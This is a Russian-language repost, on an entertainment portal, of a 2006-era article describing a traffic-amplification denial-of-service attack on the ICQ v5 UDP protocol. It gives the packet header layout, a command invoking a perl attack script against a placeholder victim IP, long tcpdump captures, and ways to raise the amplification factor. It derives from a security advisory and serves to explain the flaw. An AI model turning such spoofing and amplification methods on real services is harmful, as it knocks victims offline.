DoS для ICQ » Портал развлечении, soft, игры, фильмы, эротика, все для трубы, скрипты, железо, халява, статьй

Навигация:
    Главная
   
Софт
  
  Игры
  
  НС - WP
  
  Фильмы
  
  Эротика
  
  Эротические историй
  
  Мобилка
  
  Скрипты
  
  Железо
  
  Халява
  
  Лента Статей
  
  Защита и Хак
  
  Программирование
  
  Windows
  
  Форум
  
  Главбух
  
  Магазин
  
  Игры
  
  Фото
  
  Диски
  
  WM-SHOP
    
Обмен ссылками
Вход на сайт
Логин
Пароль
 
Регистрация на сайте
Забыли пароль?
Команда сайта:

ICQ status505-710
ICQ status180-974

Популярное:

Banners:

 

Друзья сайта:

  

  
 DoS для ICQ
Возможно использовать ICQ-серверы для умножения трафика с коэффициентом 100 и даже больше. Это означает, что нападающий с полосой пропускания канала 38 Kbps может заполнять канал связи на 3.8 Mbps.

Известно, ЧТО ICQ использует UDP протокол как свой транспортный уровень. Каждый UDP-пакет со стороны клиента начинается следующим заголовком (http://www.securitylab.ru/document/icqv5.html):

Length Content Index Description
2 bytes 05 00 VERSION Protocol version
4 bytes 00 00 00 00 ZERO Always zero
4 bytes xx xx xx xx UIN Your UIN
4 bytes xx xx xx xx SESSION_ID Used to prevent spoofing
2 bytes xx xx COMMAND Command
2 bytes xx xx SEQ_NUM1 Sequence inits with a random number
2 bytes xx xx SEQ_NUM2 Inits with 1 (!)
4 bytes xx xx xx xx CHECKCODE
variable xx .. PARAMETERS Parameters

(все пакеты со стороны клиента шифруются а со стороны сервера - нет)

SEQ_NUM1 инициализирован со случайным числом и увеличивается с каждым пакетом на 1 (!) (то есть если первый пакет содержит SEQ_NUM1=123, тогда следующий будет иметь SEQ_NUM1=124).

SEQ_NUM1 инициализирован в 1, и увеличивается на 1с каждым пакетом, если не определено другое значение (то есть установка SEQ_NUM2 = 0 при посылке CMD_KEEP_ALIVE)

SESSION_ID - случайное число, которое должно быть постоянным для каждого пакета текущего сеанса, иначе они игнорируются сервером. Кроме того, пакеты сервера отмечены тем же самым значением, чтобы предотвратить имитацию.

Нападение заключается в том, что соединяясь с сервером как зарегистрированный пользователь/пользователи, мы подменяем исходный адрес жертвы (желательно, но не обходимо поле "Our IP" в заголовке команды CMD_LOGIN). Этим мы переадресовываем трафик ответа сервера жертве (это возможно не только из-за слабости UDP протокола, но также и из-за предсказуемости правил последовательности SEQ_NUM1 и SEQ_NUM2). Все эти факты - ядро для формирования нападения.

Реализация:

Чтобы проверить нападение, напишите perl-сценарий, который вслепую пошлет пакеты, один за другим с некоторой задержкой. В результате чего получим:

% perl icqoff.pl icq.mirabilis.com 4000 yy.yy.yy.22 1027 (yy.yy.yy.22 - IP жертвы; 1027 порт)

tcpdump атакующего:
xx.xx.xx.100.1027 > 205.188.153.103.4000: udp 80 xx.xx.xx.100.1027 > 205.188.153.103.4000: udp 28 xx.xx.xx.100.1027 > 205.188.153.103.4000: udp 57 xx.xx.xx.100.1027 > 205.188.153.103.4000: udp 53




tcpdump жертвы:
205.188.153.103.4000 > yy.yy.yy.22.1027: udp 21 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 41 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 21 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 117 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 166 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 72 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 117 (DF) 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 166 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 72 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 117 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 166 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 72 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 117 (DF) 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 166 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 72 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 117 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 166 (DF) 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 72 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 117 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 166 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 72 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 72 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 117 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 166 (DF) 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 72 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 117 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 166 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 72 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 117 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 166 (DF) 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 72 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 117 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 166 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 72 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 117 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 166 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 72 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 117 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 166 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 72 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 117 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 166 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 72 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 117 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 21 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable


Из дампов мы видим, что жертва отвечает на пакеты, полученные с ICMP недостижимым сообщением, но сервер игнорирует их и продолжает посылать ~11-12 повторений с задержкой 6 секунд, надеясь, что другая сторона его слышит. Эти пакеты служат, чтобы сообщить жертве, кто из его контактного списка в online.

Подсчитывая мы видим, что отношение запроc/ответ примерно равно 330/10110, что соответствует увеличению 1:30.

Сценарий:

В предыдущей реализации, мы достигли отнюдь не максимального умножения трафика, потому что нападающий использовал довольно короткий контактный список с 8 записями.

xx.xx.xx.100.1027 > 205.188.153.103.4000: udp 57

Однако, возможно послать список из 100 случайных активных пользователей, или списка наших специальных пользователей, которые постоянно находятся в online.

xx.xx.xx.100.1027 > 205.188.153.103.4000: udp 425

Это приведет к лучшему росту, чем линейный в предыдущем случае.

1: 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF)
2: 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF)
3: 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF)
.
.
.
18: 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF)
19: 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF)
20: 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF)

и в 10 раз больше, на каждые 20 пакетов...


В этот раз коэффициент умножения стал равен 130. Это означает, что нападающий может увеличивать этот коэффициент, постоянно ища активных пользователей или создавая и поддерживая их в активном состоянии.

Другие сценарии:

В других случаях, чтобы увеличивать трафик, мы можем дополнительно послать запросы поиска (CMD_SEARCH_UIN, CMD_SEARCH_USER), различные сообщения (CMD_SEND_MESSAGE) и квитируемые сообщения (CMD_ACK), так, чтобы таймаут 6 секунд выполнялся параллельно, и мы можем это использовать пока сервер думает что мы в online.

Описанный выше способ может использоваться не только для DDoS нападений, но также и для быстрой регистрации множества UIN номеров от различных IP.


первоначальный источник:
RU-http://security.instock.ru/rus/issues/icqsmurf.txt
EN-http://www.securityfocus.com/archive/1/222977

ОБСУДИТЬ НА ФОРУМЕ!

Уважаемый посетитель, Вы вошли на сайт, как незарегистрированный пользователь. Мы рекомендуем вам зарегистрироваться, либо войти на сайт под своим именем.

 (голосов: 0)
Panamka | 25 ноября 2006 | | Печать
 Добавление комментария
Ваше Имя:
Ваш E-Mail:
Смайлики:    smile wink wassat tongue laughing sad angry crying 


 

Код:

Включите эту картинку для отображения кода безопасности

Введите код

 


  
Полезное:

Счетчики:

 

Голосование:

Чего не хватает сайту ?
Игр
Софта
Статеи
Эротики
Мобилки
Фильмов
Скриптов

Панель кнопок:

 

Web 2.0 Online Dating Service with Dating Games: www.FirstClickFriend.com
Портал развлечении Каталог